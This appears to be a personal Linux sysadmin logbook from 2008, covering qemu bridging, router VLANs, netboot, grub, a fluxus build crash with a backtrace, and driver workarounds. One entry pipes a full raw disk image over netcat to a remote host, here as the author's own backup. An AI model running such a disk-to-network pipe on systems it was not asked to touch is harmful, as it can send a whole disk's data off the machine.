this: (II) intel(0): Output TV has no monitor section wtf? this has to do with names of the monitors: each device refers to a monitor section OUTSIDE of the screen section.. Entry: qemu Date: Sat Jun 7 22:41:27 CEST 2008 works pretty well with xp. cool thing is that this can be started as a daemon with the gui on vnc. in order to make the networking work better, i think it's best to use a bridge (got one on del already for quagga roaming routing) and connect the tap device on boot to this bridge. this allows dnsmasq to run on the bridge without requiring restart. options that work well for me: sudo qemu -net nic -net tap -hda /data/xp.img -vnc :0 -usbdevice tablet /etc/qemu-ifup: #!/bin/sh sudo ifconfig $1 up sudo brctl addif br0 $1 Entry: giving gnus another chance Date: Sun Jun 8 10:43:54 CEST 2008 mutt is really not that bad, but there are minor annoyances. it would be nice to have email in emacs.. Entry: upgrading to darcs 2 Date: Sun Jun 8 10:47:00 CEST 2008 i need it on debian stable (giebrok) so probably best to compile it there, then package it, or find a backport. Entry: my problem with passwords Date: Sun Jun 8 10:51:03 CEST 2008 I'd like to use a single authentication method. Basically, this is ssh + key manager. The problem i run into is that anything that runs on TCP needs its own authentication + encryption mechanism. I much more prefer the combination of unix sockets (which have unix user level protection) + ssh tunnels (as point-to-point between hosts). An ideal solution seems to be to have a mzscheme instance running on each host, with point-to-point links to all other hosts. Then interface this to a virtual filesystem + web server. This is the most generic interface to most applications.. The problem with this however is its non-portability. If i write something like this, i'd like to run it on windows too.. So is SSL the only option? Maybe OpenVPN is the solution. However, it gives only machine level security. Maybe i should stick with machine level sec and use unix virtual machines? The only problem to solve then is local storage access: each VM needs some access to host based storage, so the image itself can be kept small. What's the smallest operating system mzscheme runs under? That has to be linux. What about using linux-2.4 for this? The problem with running this on windows is that there's no such thing as kqemu, so vmware might be necessary. No, this is overkill. PLT Scheme has enough operating system abilities to not need such a virtualization layer. The only thing really is to connect multiple instances in a secure way, and forget about wanting to do this with ssh. Entry: ssl for connecting scheme instances Date: Sun Jun 8 11:41:21 CEST 2008 endpoint auth: only server authenticated mutual auth: both are authenticated -> can use PKI or pre-shared keys using SRP i don't really need a PKI for the p2p links: all my hosts are known, and pre-shared keys can be easily distributed using ssh PKI. what i want is probably TSL-PSK hmm.. in openssl this seems to be a recent feature, only since 0.9.9 (debian has 0.9.8) Entry: hacking it with socat Date: Sun Jun 8 12:06:48 CEST 2008 the thing to do is this: * use a unix datagram socket (filesystem for user authentication) * write a merger that merges all incoming messages and connects it to the head of a mzscheme process the problem with something like this is that the merger needs to know the message size, so it also needs to know the protocol. it looks like sockets really need to be handled in-core, using built-in thread and queue mechansims.. then, if use on windows is necessary, use cygwin or add a tls-psk layer or something.. Entry: printing lpr Date: Thu Jul 10 10:43:35 CEST 2008 - use lpr (i think lpt is more lowlevel?) - it accepts postscript and text printing odd/even: zcat ~/doc/essence.ps.gz |psselect -e |lpr (now rotate papers around long axis, put them back in) zcat ~/doc/essence.ps.gz |psselect -o |lpr another thing: some papers seem to be written in A4, schrunk to fit on letter, then padded to A4 again. yet another: use "psnup -<n>" to print multiple pages, but when printing double sided: beware of the orientation: flip over short axis instead of long one! Entry: wifi vlan stuff Date: Fri Aug 8 15:28:44 CEST 2008 The idea: don't do any processing on the wifi router (smurf), but transport the untrusted wifi traffic to a centrail point (zzz) which will perform firewall + routing + dhcp. On the router (smurf) create vlan2 which connects the cpu port (5t) to any of the external ports (4t). The cpu needs tagged packets to be able to create a vlan interface, and the external ports will also carry tagged packates to create a vlan port on (zzz). Additionally, all external ports route ordinary traffic. The problem is: wrt seems to not receive anything. This does look like a hardware problem. Some packets come through, most do not. I checked all the cables and connections, the problem has to be inside the box. Going to replace it. Fuck. I messed up the other one too now by making an nvram change.. Entry: the local webserver Date: Fri Aug 22 16:58:28 CEST 2008 I'm trying to figure out a security model for non-admins on the network. Currently, I'm the only admin with full access. My root passphrase gives access to all the functionality, and is only committed to my memory. SSH is used for everything here. Per user security is implemented in the same way. Below that, there is everything accessible to PHYSICAL users: local net + VPN nodes (where the physical machine is authenticated, not the user). This includes a read-only data store. Wifi is seen as an outside connection, and provides only logged internet access, and access to public services, no local net. What I'm trying to figure out now is what SERVICES are accessible to the physical users without authentication. Ok. Let's use http://pub.i/ urls to be redirected to the local service provider on a port that's DIFFERENT from the public http port, so port based security is available. This can then implement standard behaviour. The following apps are defined: * music expose the local music collection * video video * install application archive Entry: wrt troubles Date: Fri Aug 29 15:59:14 CEST 2008 hmm.. revived the other wrt and it exhibits exactly the same problem as the original one: zzz sees the dhcp requests, and sends answers, but they do not arrive back. this looks more like a config error at zzz than anything else.. anyways.. this is for another time. maybe add a console tag to the other router and move on. i put some headers on the WRT serial ports. works fine with 3.3V ttl serial cable. checked my brother's too, but it seems to be quite dead. Entry: Todo neerpelt Date: Sun Aug 31 12:12:14 CEST 2008 * debian updates for all hosts OK * lex dvd -> avi backup OK * marka data size + backup check * lex check video out again? dvd -> avi using -avc xvid instead of -avc lavc Let's see if that goes a bit better.. lavc gives sync problems. ok.. "-mc 0" seems to give better sync, both codecs are comparable in quality, but lavc is a lot faster and xvid is supported better (lavc produced divx is not supported by my PHILIPS dvd player.) to fix still: * audio sync (xvid with -mc 0) * audio volume * aspect size (fixed by rescaling -xy 512 -> 512x288 Entry: ed / audio equipment update Date: Wed Sep 3 15:32:18 CEST 2008 ed is broken again, and i need to find a solution for the synth hardware. keep or not? what about this: * keep ed, but only to drive the delta1010, so it can be packed together with the behringer power supply and any other loud machine in the electronics lab. * get a new silent machine for the 2 digital cards connected to the yamaha mixer, that would go into the recording studio / silent study room. * hook up the analog synth + 606 to a special-purpose analog postprocessing network. Easy. * hook up the MC303s and the JUNO as a user interface, possibly connecting their audio out to analog effects. I'd like to do something special with this.. I have some affection for the machine, but it's quite hard to interface. Edit: took apart the MC303 and found a service manual. Hooking up a microcontroller to the front panel seems like a straightforward mod. The motherboard could still be used in stand-alone mode, hooked up to midi. Entry: Typesetting from .odf Date: Fri Sep 5 10:21:42 CEST 2008 Trying to typeset Maricela's book, written in oo writer, to something nice and print it out in booklet form. Entry: resolvconf Date: Mon Sep 8 20:20:45 CEST 2008 /etc/resolv.conf gets overwritten after update installing resolvconf http://ubuntuforums.org/archive/index.php/t-306308.html Entry: resolvconf Date: Sun Sep 14 11:09:35 CEST 2008 Problem: dhcp update overwrites zzz's static /etc/resolv.conf Solution: switch to resolvconf and add the following line to the dnsmasq startup script /var/service/dnsmasq/run resolvconf -a lo.dnsmasq <$RESOLVCONF this refers to the file /etc/i/$HOSTNAME.resolv.conf EDIT: simplest way to prevent update of /etc/resolv.conf is to remove the follwing items from /etc/dhcp3/dhclient.conf: # domain-name, domain-name-servers, domain-search, host-name Entry: installing fluxus Date: Mon Sep 22 01:34:49 CEST 2008 same old... tom@zzz:~/fluxus-0.15rc3$ scons scons: Reading SConscript files ... -------------------------------------------------------- Fluxus: Configuring Build Environment -------------------------------------------------------- Checking for C library m... yes Checking for C library pthread... yes Checking for C library dl... yes Checking for C library mzscheme3m... no ERROR: 'mzscheme3m' must be installed! The problem seems to be the lack of shared libraries. The normal binary distribution does not come with shared libs. Then I run into another problem with 4.1.0.3 and 4.0.1 To: Fluxus-request@lists.pawfal.org Hello, Looks like there are changes that prevent fluxus-0.15rc3 to build with PLT Scheme 4.1.0.3. The function seems to be replaced with 'scheme_set_primordial_stack_base'. g++ -o src/main.o -c -ggdb -pipe -Wall -O3 -ffast-math -Wno-unused -fPIC -DFLUXUS_MAJOR_VERSION=0 -DFLUXUS_MINOR_VERSION=15 -DCOLLECTS_LOCATION="\"/usr/local/lib/plt/collects/"\" -DDATA_LOCATION="\"/usr/local/share/fluxus-015"\" -DGLSL -DMZ_PRECISE_GC -D__LINUX_ALSASEQ__ -I/usr/local/include -I/usr/include -I/usr/local/include/freetype2 -I/usr/include/freetype2 -I/usr/local/include/plt -I/home/tom/libfluxus/src src/main.cpp src/main.cpp: In function 'int main(int, char**)': src/main.cpp:181: error: 'scheme_set_stack_base' was not declared in this scope scons: *** [src/main.o] Error 1 scons: building terminated because of errors. Cheers, Tom Allo again, Some other build problems with g++ --version g++ (Debian 4.3.1-9) 4.3.1 Copyright (C) 2008 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * added #include<string.h> (memcpy,memset,strlen) fluxa/src/JackClient.cpp fluxa/src/OSCServer.cpp libfluxus/src/dada.h libfluxus/src/Utils.cpp modules/fluxus-audio/src/AudioCollector.cpp modules/fluxus-audio/src/JackClient.cpp modules/fluxus-osc/src/OSCServer.cpp * added #include<stdlib.h> in libfluxus/src/PNGLoader.cpp (malloc,free) libfluxus/src/dada.cpp (rand) libfluxus/src/OBJPrimitiveIO.cpp (atof) libfluxus/src/PDataContainer.h: In member function 'std::vector<T, std::allocator<_Tp1> >* Fluxus::PDataContainer::GetDataVec(const std::string&)': libfluxus/src/PDataContainer.h:144: error: must #include <typeinfo> before using typeid libfluxus/src/PDataContainer.h libfluxus/src/PDataArithmetic.h * scons failed to detect the absence of libasound-dev * finding PLT Scheme I saw the plt path is hardcoded.. This can be easily autodetected. There's a config module that tells you the paths: http://docs.plt-scheme.org/config/index.html As long as the mzscheme binary is in the path, this could be used in SConstruct as: mzscheme -e '(require config)(display (path->string (force lib-dir)))' When I run it now (built with 4.1.0.3 with the 'primordial' change), it segfaults. Looks like the meaning of that function changed with its name.. tom@zzz:~/fluxus-0.15rc3$ gdb ./fluxus GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu"... (gdb) r Starting program: /data/home/tom/fluxus-0.15rc3/fluxus [Thread debugging using libthread_db enabled] [New Thread 0xb72c16c0 (LWP 14649)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb72c16c0 (LWP 14649)] update_want_level (logger=<value optimized out>) at xsrc/error.c:2755 2755 parent -> want_level = want_level ; Current language: auto; currently c (gdb) bt #0 update_want_level (logger=<value optimized out>) at xsrc/error.c:2755 #1 0xb7c80301 in scheme_log_message (logger=0x0, level=4, buffer=0xb71c0008 "GC [minor] at 1533896 bytes; 645988 collected in 20 msec", len=56, data=0x0) at xsrc/error.c:2796 #2 0xb7c803ea in scheme_log (logger=0xb714cce0, level=4, flags=0, msg=0xb7e03300 "GC [%s] at %ld bytes; %ld collected in %ld msec") at xsrc/error.c:796 #3 0xb7db9eaa in inform_GC (major_gc=0, pre_used=1533896, post_used=887908) at xsrc/thread.c:7589 #4 0xb7dd7a5a in garbage_collect (force_full=<value optimized out>) at ./newgc.c:3187 #5 0xb7dda2e4 in GC_malloc_atomic (s=256) at ./newgc.c:532 #6 0xb7c87bd5 in clearing_stack_push (vc=0xb72bfea8, pos=12, val=1) at xsrc/eval.c:11307 #7 0xb7c91980 in scheme_validate_expr (port=0xb714d238, expr=0x80c9b60, stack=0xb71be670 "", tls=0xb71b5950, depth=20, letlimit=12, delta=5, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x80cf1f8, proc_with_refs_ok=2, result_ignored=0, vc=0xb714d208, tailpos=0) at xsrc/eval.c:11829 #8 0xb7c90ad3 in scheme_validate_expr (port=0xb714d238, expr=0xb714d280, stack=0xb71be670 "", tls=0xb71b5950, depth=20, letlimit=12, delta=5, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0xb71be688, proc_with_refs_ok=3, result_ignored=0, vc=0xb714d208, tailpos=0) at xsrc/eval.c:11938 #9 0xb7c90b43 in scheme_validate_expr (port=0xb714d238, expr=0xb714d298, stack=0xb71be670 "", tls=0xb71b5950, depth=20, letlimit=12, delta=7, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x80cf1d8, proc_with_refs_ok=3, result_ignored=0, vc=0xb714d208, tailpos=0) at xsrc/eval.c:11939 #10 0xb7c90b43 in scheme_validate_expr (port=0xb714d238, expr=0xb714d2b0, stack=0xb71be670 "", tls=0xb71b5950, depth=20, letlimit=12, delta=9, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x0, proc_with_refs_ok=0, result_ignored=0, vc=0xb714d208, tailpos=0) at xsrc/eval.c:11939 #11 0xb7c90d1f in scheme_validate_expr (port=0xb714d238, expr=0xb72b2a10, stack=0xb71be670 "", tls=0xb71b5950, depth=20, letlimit=12, delta=12, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x0, proc_with_refs_ok=0, result_ignored=0, vc=0xb714d208, tailpos=0) at xsrc/eval.c:11973 #12 0xb7c90b43 in scheme_validate_expr (port=0xb714d238, expr=0xb714d2e0, stack=0xb71be670 "", tls=0xb71b5950, depth=20, letlimit=17, delta=14, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x0, proc_with_refs_ok=0, result_ignored=0, vc=0xb714d208, tailpos=1) at xsrc/eval.c:11939 #13 0xb7c90d1f in scheme_validate_expr (port=0xb714d238, expr=0xb72b36b8, stack=0xb71be670 "", tls=0xb71b5950, depth=20, letlimit=17, delta=17, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x0, proc_with_refs_ok=0, result_ignored=0, vc=0xb714d208, tailpos=1) at xsrc/eval.c:11973 #14 0xb7c91df2 in scheme_validate_closure (port=0xb729f520, expr=0x0, closure_stack=0xb72bfe88 "\003", tls=0xb72bc258, num_toplevels=43, num_stxes=5, num_lifts=8, self_pos_in_closure=-1) at xsrc/eval.c:11575 ---Type <return> to continue, or q <return> to quit--- #15 0xb7c9207d in validate_unclosed_procedure (port=0xb729f520, expr=0xb72baa18, stack=0xb72bc248 "\230æ\033·", tls=0xb72bc258, depth=9, delta=8, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x0, proc_with_refs_ok=0, self_pos=-1) at xsrc/eval.c:11661 #16 0xb7c90e0d in scheme_validate_expr (port=0xb714d238, expr=0xb72baa18, stack=0xb71be698 "", tls=0xb71b5950, depth=9, letlimit=8, delta=8, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x0, proc_with_refs_ok=0, result_ignored=0, vc=0xb714d338, tailpos=0) at xsrc/eval.c:12022 #17 0xb7db349c in define_values_validate (data=0xb72ba970, port=0xb729f520, stack=0xb72bc248 "\230æ\033·", tls=0xb714cce0, depth=9, letlimit=8, delta=8, num_toplevels=43, num_stxes=5, num_lifts=8, vc=0xb72bc280, tailpos=1) at xsrc/syntax.c:903 #18 0xb7c91246 in scheme_validate_expr (port=0xb714d238, expr=0xb72baa90, stack=0xb71be698 "", tls=0xb71b5950, depth=9, letlimit=8, delta=8, num_toplevels=43, num_stxes=5, num_lifts=8, app_rator=0x0, proc_with_refs_ok=0, result_ignored=0, vc=0xb714d338, tailpos=1) at xsrc/eval.c:11889 #19 0xb7c923c7 in scheme_validate_code (port=0xb714d238, code=0xb714cce0, depth=9, num_toplevels=43, num_stxes=5, num_lifts=8, code_vec=1) at xsrc/eval.c:11385 #20 0xb7d0b3ea in module_validate (data=0xb714d428, port=0xb714d238, stack=0xb72bc210 "¨æ\033·", tls=0xb7f24358, depth=1, letlimit=0, delta=0, num_toplevels=1, num_stxes=0, num_lifts=0, vc=0xb72bc218, tailpos=1) at xsrc/module.c:4937 #21 0xb7c91246 in scheme_validate_expr (port=0xb714d238, expr=0xb72bc1e8, stack=0xb71be6a8 "\003", tls=0xb7f24358, depth=1, letlimit=0, delta=0, num_toplevels=1, num_stxes=0, num_lifts=0, app_rator=0x0, proc_with_refs_ok=0, result_ignored=0, vc=0xb714d4b8, tailpos=1) at xsrc/eval.c:11889 #22 0xb7c92456 in scheme_validate_code (port=0xb729f520, code=0xb72bc1e8, depth=1, num_toplevels=1, num_stxes=0, num_lifts=0, code_vec=0) at xsrc/eval.c:11391 #23 0xb7d55e0f in read_inner_inner (port=0xb714d500, stxsrc=0x0, ht=0xb71b5980, indentation=0xb7f3d714, params=0xbf8c3020, comment_mode=2, pre_char=-1, table=0x0) at xsrc/read.c:5314 #24 0xb7d52820 in _scheme_internal_read (port=0xb714d500, stxsrc=0x0, crc=1, cant_fail=0, honu_mode=0, recur=0, expose_comment=0, extra_char=-1, init_readtable=0x0, magic_sym=0x0, magic_val=0x0, delay_load_info=0xb7f25638) at xsrc/read.c:2118 #25 0xb7d5e258 in scheme_internal_read_k () at xsrc/read.c:2176 #26 0xb7cbab83 in scheme_top_level_do_worker (k=0xb7d5e170 <scheme_internal_read_k>, eb=0, new_thread=0, dyn_state=0x0) at xsrc/fun.c:1832 #27 0xb7cbb4a4 in scheme_top_level_do (k=0xb7d5e170 <scheme_internal_read_k>, eb=0) at xsrc/fun.c:1737 #28 0xb7d52bc3 in scheme_internal_read (port=0xb7217fa0, stxsrc=0x0, crc=1, cantfail=0, honu_mode=0, recur=0, expose_comment=0, pre_char=-1, init_readtable=0x0, magic_sym=0x0, magic_val=0x0, delay_load_info=0x0) at xsrc/read.c:2210 #29 0xb7d3ecb6 in do_read_f (who=0xb7deeba7 "read", argc=1, argv=0xb7f68fa8, honu_mode=0, recur=0) at xsrc/portfun.c:2897 #30 0x080d8cd4 in ?? () ---Type <return> to continue, or q <return> to quit--- #31 0x00000000 in ?? () Entry: how to make a diff Date: Tue Sep 23 07:35:06 CEST 2008 caveman technology.. there's a "standard way" of making a diff which doesn't use standard options.. something about including more lines around the areas so they can be found easier? apparently i had a 'diff-zwizwa' script: exec diff -Naur $1 $1-zwizwa | gzip >$1.patch.gz probably you don't want the -N : Treat absent files as empty. Entry: how to respect people's tabs Date: Tue Sep 23 07:45:53 CEST 2008 (setq indent-tabs-mode t) Entry: installing Brother HL2030 Date: Sat Sep 27 09:19:10 CEST 2008 mkdir /usr/share/cups/model dpkg -i brhl2030lpr-2.0.1-1.i386.deb cupswrapperHL2030-2.0.1-2.i386.deb non-free drivers: packages come from Brother website. Entry: xenomai Date: Fri Oct 3 12:00:08 CEST 2008 let's see.. in order to play with this it might be best to run it on actual hardware instead of a simulator. simplest app would be a read from the serial port + some communication of this data to user space. building it seems not problematic. next: install on the lex board. EDIT: installing starting with the latest xenomai 2.4.5 trying to run it on the dell pentium-m laptop. my kernel config has some features it don't like though: *** WARNING! You enabled APM, CPU Frequency scaling or ACPI 'processor' *** *** option. These options are known to cause troubles with Xenomai. *** *** NOTE: Xenomai needs either X86_LOCAL_APIC enabled or HPET_TIMER disabled. *** (menu Processor type and features) *** Entry: xenomai acronym zoo Date: Wed Oct 8 01:08:52 CEST 2008 Just went through the Xenomai API doc. Nothing out of the ordinary there. Timers, queues, shared resource management, task management, memory management and pipes to linux. http://www.xenomai.org/documentation/branches/v2.4.x/html/api/index.html Adeos: a nanokernel HAL intended to run several OS kernels together. It implements a queue of signals to be sent to each kernel in sequences. Used to run Xenomai's kernel + Linux together. RTDM: Real Time Driver Model. Works for Xenomai and RTAI. Entry: low latency audio Date: Sun Oct 12 11:33:42 CEST 2008 trying to follow the advice from here: http://lowlatency.linuxaudio.org/ building it on ed, PIII1000 with the rme + ice cards. 1. split root fs (hda3:ext2) / usr+home (hda2:reiserfs) Create the new ext2 root partition, copy all but user+home. Copy usr/home to another partition. Edit the new root partition's /etc/fstab to mount the partition with usr+home, setup appropriate symlinks and configure grub to boot from this disk. When this works, remove cruft from the old root dir, leaving only usr+home and edit fstab again. Delete the intermediate usr+home partition, now to become the recording partition (also ext2). 2. interrupts are APIC. Entry: Hoeher H018 DVD player Date: Sun Oct 26 09:48:21 CET 2008 4GB USB stick with FAT32 didn't work, so I copied a 1G SD card disk image with FAT16 onto the stick. I'd like to see what's in it.. Void warrantee? Yes.. Main IC: Is a Zoran DVD Multimedia Processor. Marked 0/8 in purple + black line on a circular label glued on the chip. Under the label: Zoran ZR36888HLCG A1 TS7DGP0743MBC Vaddis (R) 888 Dolby Digital There's a 64Mb/166MHz DRAM chip W9864G6GH-6, a NOR Flash chip S29AL016D70-TFIO02, and a CD5954CB dvd/cdrom controller chip. The bottom of the board has only passive components, and is marked "InnoVision". I found a service manual for Vaddis 9 on DTForum.. Also found this: http://jefferson-ryan.blogspot.com/2006/12/porta-serial-do-zoran-uma-luz-no-fim-do.html? showComment = 1172572380000 Entry: setting up network boot on del Date: Tue Oct 28 10:13:40 CET 2008 - apt-get install tftpd (for /usr/sbin/in.tftpd) - check /etc/inetd.conf: tftp dgram udp wait nobody /usr/sbin/tcpd /usr/sbin/in.tftpd /tftp - make dnsmasq pass filename.. on the internal net, this is derived from IP address or name. from zzz:/tmp/i.conf: dhcp-boot=net:boot-azrael,azrael,0.0.0.0 dhcp-option=net:boot-azrael,17,/opt/diskless/azrael dhcp-host=net:boot-azrael,00:18:39:bf:be:6b,192.168.16.56 - building a netbootable image apt-get install mknbi * the old method (2002 version) ./mknbi-linux-2002 vmlinuz-2.6.22-3-vserver-686 \ netboot -x \ --append="root=/dev/nfs ip=dhcp ro" * the new version (Doesn't complain image is too big. If netboot loads the image but complains "Unable to load file." loadkernel() had an error). mkelf-linux --output=netboot vmlinuz-2.6.22-3-vserver-686 \ --ip dhcp --append="root=/dev/nfs ro" So, the main issue is to not make it "too big", whatever that means.. I guess this is mainly about compiling in filesystems. This is a show stopper: except for 2.6.22-vserver, nothing would boot. - Initrd: need to configure BOOT=nfs (or do this automatically) Apparently the 2.6.22-vserver images don't have this. - The filesystem. debootstrap lenny xenomai-root/ Entry: bootable usb stick Date: Wed Nov 5 16:58:19 CET 2008 # i keep doing this wrong.. the reason of confusion are 2 points: # * bios vs. linux devices * * boot time mapping vs. grub install time mapping mount /dev/sdb1 /stick mkdir -p /stick/boot/grub cp -av /usr/lib/grub/i386-pc/* /stick/boot/grub/ grub-install /dev/sdb # now, make sure the device.map on /dev/sdb reflects the setup at this # moment, not necessarily at boot time. grub > root (hd1,0) > setup (hd1) # still no cigar.. check this: # http://www.mayrhofer.eu.org/Default.aspx?pageindex=6&pageid=45 Using grub as a boot loader Although syslinux is small, simple to install, and comes with a very simple command line menu to select from different boot options, I definitely prefer grub. It is larger, but a lot more flexible and offers a complete boot menu and interactive command interface. With recent versions of grub (tested with 0.97), booting from USB is also possible without real issues. To install grub as a boot loader on the USB stick: 1. Mount the VFAT(32) file system with mount /dev/sda1 /mnt (or via KDE, in which case it will probably be mounted under /media/usb, then replace the /mnt occurances below accordingly) 2. Create a directoriy for grub with mkdir -p /mnt/boot/grub 3. Copy the grub files with cp /lib/grub/i386-pc/* /mnt/boot/grub 4. Set a correct device map with echo '(hd0) /dev/sda' > /mnt/boot/grub/device.map 5. Install grub into the master boot record with grub-install --root-directory=/mnt /dev/sda After that, grub should already be bootable from the USB stick, and booting a PC with the stick attached should show the grub boot menu. Entry: the move Date: Tue Dec 9 08:27:28 CET 2008 Time to move zzz to a different machine. It's probably really easiest to just move the drive in its entirety to the lex box. The things to change are: * only using one network interface * disabling kotnet stuff The alternative is to mimick only the used features: * Print server (cups) * DNS (dnsmasq + guile) * OpenVPN client (giebrok + zwizwa) * OpenVPN server for WIFI + general network security I'm a bit afraid about putting in a new HD, since the lex box is a bit flakey. In the end, the zzz HD is going to end up in a new box, but for now I need a simple fallthrough. Networks: * Fred is now 19. The original reason for this: it being wifi provider the zzz block (16-19). This needs to change to something "external". * Let's keep the zzz address space: 16-19. The entire network moves. 0- 7 not routable (local private networks) 8-11 fixed semi-trusted friend networks (sam = 10, fred = 11) 12-15 fixed zwizwa 16-19 fixed zzz 20-23 fixed dynamic routing nets (dell laptop = 22) Entry: new network? Date: Tue Dec 9 10:50:13 CET 2008 Let's make this a bit more virtual. A network server should: * Provide routing + dhcp + dns. * Local openvpn for wifi (mirror the v-net) * Print services * Email * Local media cache This means LEX's networks are: 24 reserved 25 local non-trusted (wifi) 26 local vpn trusted 27 local trusted LEX vpn to zwizwa is part of the .v network, called lex-zwizwa. Now, in order to be able to run lex on a host with only a single network card, I'm going to use a linksys router (drone) with vlans as a port expander. This is an extension of the already existing vlan2 = wifi. switch [WIFI AP]-----[eth1:DRONE:eth0]----[6] [5]----[eth0:LEX] | [4]----[local trusted net] | [3]----[net 3] untrusted isolated networks [2]----[net 2] [1]----[net 1] The LEX box is only doing external network routing, so could be replaced with something simple. All storage will be on the local trusted net, which could be a gigabit switch. Can zorro be used for this? Smurf as drone + access point, and zorro as router? Maybe zorro isn't necessary even: just use statically generated configuration files on smurf. But, I'd like to run a full debian on the main host at least.. Entry: XP image Date: Wed Dec 10 11:29:40 CET 2008 * install XP on an empty harddisk, let the XP installer create a NTFS partition of 3000MB * this amounts to x blocks of 512 bytes (x blocks for the partition table, and y blocks for the NTFS filesystem). * boot linux, and create a boot partition, say 100KB. install grub in the MBR making sure windows still boots. put misc utilities in this partition, and configure grub so it contains a "chainloader" for the 3rd partition, so a new bootable partition can be simply concatentated. * dump the head of the harddisk image to a dvd. there is room to add some other images too. this image can be dumped to an empty harddrive, as long as the original install contains the correct drivers. Numbers After installing XP + some software (ALzip + firefox), boot PLD Linux 2.94 and create a new linux partition (500MB) cfdisk /dev/sda mkfs.ext2 /dev/sda2 mount /dev/sda2 /target mkdir /target/boot cd /target/boot cp -av /boot/grub2 . Use fdisk, set units to sectors and print the partition table: start endi /dev/sda1 63 6136829 /dev/sda2 6136830 7116794 The total size of the first two partitions is thus 7116796 sectors or 3643799552 bytes. To dump the image over tcp: dd if=/dev/sda bs=512 count=7116796 | nc <host> <port> (PLD Linux uses "nc", debian uses "netcat". PLD Linux's nc doesn't support the "-q 0" option.) On the other side: netcat -l -p <port> | pv > <file> Entry: eepro100 Date: Wed Dec 10 20:25:10 CET 2008 apparently my old card doesn't like the new e100 driver.. despite blacklisting e100 in /etc/modules.d/blacklist it still gets loaded.. Now trying to add an alias: modprobe -c | grep e100$ I'm looking for this one: 00:0a.0 0200: 8086:1229 (rev 02) zzz:/etc/modprobe.d# modprobe -c |grep v00008086d00001229 alias pci:v00008086d00001229sv*sd*bc02sc00i* e100 alias pci:v00008086d00001229sv*sd*bc*sc*i* eepro100 So, will add the first line to the /etc/modprobe.conf That doesn't seem to help.. The eepro100 driver does gets loaded, but so does the e100. Trying "blacklist e100" in /etc/modprobe.conf That doesn't work either.. I'm fed up. Will just rename the module in /lib/modules This is non-permanent, but should fix it. cd /lib/modules/`uname -r`/kernel/drivers/net mv e100.ko disabled.e100.ko depmod -a Funny, renaming won't work.. Deleting maybe? This is rediculous.. rm /lib/modules/`uname -r`/kernel/drivers/net/e100.ko Ok, now I get it.. It's part of the initrd! I'm just going to add a workaround script: zzz:~# cat /etc/rc2.d/S10internet #!/bin/bash echo '******* workaround for incorrect detection of eepro100 drivers ******' ifdown eth2 rmmod e100 rmmod eepro100 modprobe eepro100 ifup eth2 Entry: put back zzz Date: Thu Dec 11 10:09:19 CET 2008 Too much hassle trying to build a new network server. If migration gives a problem (i.e. only one network port) it's always possible to use a WRT switch for that, since the server is coupled to an AP anyway. Entry: tuur as double client Date: Thu Dec 11 19:54:40 CET 2008 It's simpler also for future switching, to keep a single local wifi network, and let tuur connect to it as a client. This requires it to be on the same channel as the feeding net. 1. switch smurf channel 2. set tuur in double client mode That sounds great, but isn't possible with madwifi. Multiple AP no prob, but only one station per card. Too bad I have no usb card here.. Entry: tuur with AP+STA Date: Thu Dec 11 21:16:55 CET 2008 Can Tuur be main wireless provider? Yes.. I can disable password, disable most services accept for internet access, and install openvpn on all laptops requiring internal net services. Maybe that's the best solution: no more wireless routing on the main PC. Now, before destroying everything because of a couple of cables.. Is there a migration path? Entry: ethernet <-> usb Date: Wed Dec 17 15:28:49 CET 2008 I'm looking for a simple ethernet to usb converter. The sweex usb2.0 seems to have the necessary hardware. Openwrt? Sweex PR010 Entry: xrandr Date: Fri Dec 19 09:21:41 CET 2008 # With external VGA: Screen 0: minimum 320 x 200, current 1024 x 768, maximum 2048 x 2048 VGA connected 1024x768+0+0 (normal left inverted right x axis y axis) 300mm x 225mm 1024x768 75.0*+ 84.9 85.0 75.1 75.0 70.1 60.0 1600x1024 60.0 1280x1024 59.9 60.0 1440x900 60.2 1280x960 60.0 1280x800 60.0 1152x864 75.0 1280x768 60.0 1152x768 54.8 832x624 74.6 800x600 84.9 85.1 72.2 75.0 60.3 56.2 640x480 85.0 84.6 75.0 72.8 75.0 60.0 59.9 720x400 85.0 70.1 640x400 85.1 640x350 85.1 LVDS connected 1024x768+0+0 (normal left inverted right x axis y axis) 286mm x 214mm 1024x768 60.0*+ 50.0 800x600 60.3 640x480 59.9 TMDS-1 disconnected (normal left inverted right x axis y axis) TV disconnected (normal left inverted right x axis y axis) tom@del:~$ # to enable VGA: xrandr --output VGA --auto Entry: vlan experiment Date: Mon Dec 22 12:36:31 CET 2008 vlan0: 0 1 2 3 5t # bring port 0-3 (lan ports) to eth0 as vlan0 vlan1: 4 5t # bring port 4 (internet) to eth0 as vlan1 vlan2: 4t 5t # transport vlan2 over port 4 vlan1 is the main secure ethernet connection (LAN) vlan2 is insecure wireless, transported tagged over LAN vlan0: 5t # disconnect port 0-3 from insecure net # bring out all ports tagged to lan and eth0 vlan11: 0 4t 5t # bring port 0 to LAN, tagged. robocfg vlan 11 ports "0 4t 5t" vconfig add eth0 11 Entry: qemu on zwizwa for skype phone Date: Thu Dec 25 10:45:04 CET 2008 goal: run a minimal windows XP image on qemu to host the skype phone. this should work since it's just usb. first need kernel update.. note: /etc/qemu-ifup is started when qemu is started.. we just add the interface to the local insecure network bridge: #!/bin/sh sudo ifconfig $1 up sudo brctl addif br0 $1 let's see.. i'm a bit afraid this is going to be too slow.. to plug through a usb device: -usbdevice host:<bus.addr> -usbdevice host:<vendor_id:product_id> Entry: setting up spamassasin and clamav Date: Thu Dec 25 12:55:23 CET 2008 I don't remember how this is setup.. What I find in my homedir is a ~/.spamassasin directory. Ok, it's using procmail. 